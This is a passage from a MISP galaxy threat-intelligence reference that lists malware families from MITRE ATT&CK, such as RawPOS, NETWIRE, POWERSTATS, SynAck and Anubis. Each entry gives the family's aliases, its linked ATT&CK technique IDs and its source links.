Table 5464. Table References

Links
http://blog.morphisec.com/security-alert-fin8-is-back
https://attack.mitre.org/software/S0196
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Neoichor - S0691

[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)

The tag is: *misp-galaxy:mitre-malware="Neoichor - S0691"*

Neoichor - S0691 is also known as:

- Neoichor

View relationships graph

Neoichor - S0691 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5465. Table References

Links
https://attack.mitre.org/software/S0691
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe

RawPOS - S0169

[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: *misp-galaxy:mitre-malware="RawPOS - S0169"*

RawPOS - S0169 is also known as:

- RawPOS
- FIENDCRY
- DUEBREW
- DRIFTWOOD

View relationships graph

RawPOS - S0169 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"

Table 5466. Table References

Links
http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf
https://attack.mitre.org/software/S0169
https://github.com/DiabloHorn/mempdump
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware
https://www.youtube.com/watch?v=fevGZs0EQu8

Daserf - S0187

[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: *misp-galaxy:mitre-malware="Daserf - S0187"*

Daserf - S0187 is also known as:

- Daserf
- Muirim
- Nioupale

View relationships graph

Daserf - S0187 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Daserf" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

Table 5467. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

https://attack.mitre.org/software/S0187
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Truvasys - S0178

[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: *misp-galaxy:mitre-malware="Truvasys - S0178"*

Truvasys - S0178 is also known as:

- Truvasys

View relationships graph

Truvasys - S0178 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 5468. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/software/S0178
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha

PUNCHTRACK - S0197

[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: *misp-galaxy:mitre-malware="PUNCHTRACK - S0197"*

PUNCHTRACK - S0197 is also known as:

- PUNCHTRACK

- PSVC

View relationships graph

PUNCHTRACK - S0197 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5469. Table References

Links
https://attack.mitre.org/software/S0197
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Starloader - S0188

[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Starloader - S0188"*

Starloader - S0188 is also known as:

- Starloader

View relationships graph

Starloader - S0188 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 5470. Table References

Links
https://attack.mitre.org/software/S0188
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

NETWIRE - S0198

[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-malware="NETWIRE - S0198"*

NETWIRE - S0198 is also known as:

- NETWIRE

View relationships graph

NETWIRE - S0198 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5471. Table References

Links
https://attack.mitre.org/software/S0198
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

ISMInjector - S0189

[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)

The tag is: *misp-galaxy:mitre-malware="ISMInjector - S0189"*

ISMInjector - S0189 is also known as:

- ISMInjector

View relationships graph

ISMInjector - S0189 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5472. Table References

Links
https://attack.mitre.org/software/S0189
https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

TURNEDUP - S0199

[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-malware="TURNEDUP - S0199"*

TURNEDUP - S0199 is also known as:

- TURNEDUP

View relationships graph

TURNEDUP - S0199 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:malpedia="TURNEDUP" with estimative-language:likelihood-probability="likely"

Table 5473. Table References

Links
https://attack.mitre.org/software/S0199
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

CCBkdr - S0222

[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)

The tag is: *misp-galaxy:mitre-malware="CCBkdr - S0222"*

CCBkdr - S0222 is also known as:

- CCBkdr

View relationships graph

CCBkdr - S0222 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

Table 5474. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
https://attack.mitre.org/software/S0222

POWERSTATS - S0223

[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)

The tag is: *misp-galaxy:mitre-malware="POWERSTATS - S0223"*

POWERSTATS - S0223 is also known as:

- POWERSTATS
- Powermud

View relationships graph

POWERSTATS - S0223 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with

estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5475. Table References

Links
https://attack.mitre.org/software/S0223
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group

HummingBad - S0322

[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)

The tag is: *misp-galaxy:mitre-malware="HummingBad - S0322"*

HummingBad - S0322 is also known as:

- HummingBad

View relationships graph

HummingBad - S0322 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:android="HummingBad" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5476. Table References

Links
http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/
https://attack.mitre.org/software/S0322

HOMEFRY - S0232

[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="HOMEFRY - S0232"*

HOMEFRY - S0232 is also known as:

- HOMEFRY

View relationships graph

HOMEFRY - S0232 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5477. Table References

Links
https://attack.mitre.org/software/S0232
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

SynAck - S0242

[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)

The tag is: *misp-galaxy:mitre-malware="SynAck - S0242"*

SynAck - S0242 is also known as:

- SynAck

View relationships graph

SynAck - S0242 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 5478. Table References

Links
https://attack.mitre.org/software/S0242
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging

Anubis - S0422

[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.(Citation: Cofense Anubis)

The tag is: *misp-galaxy:mitre-malware="Anubis - S0422"*

Anubis - S0422 is also known as:

- Anubis

View relationships graph

Anubis - S0422 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
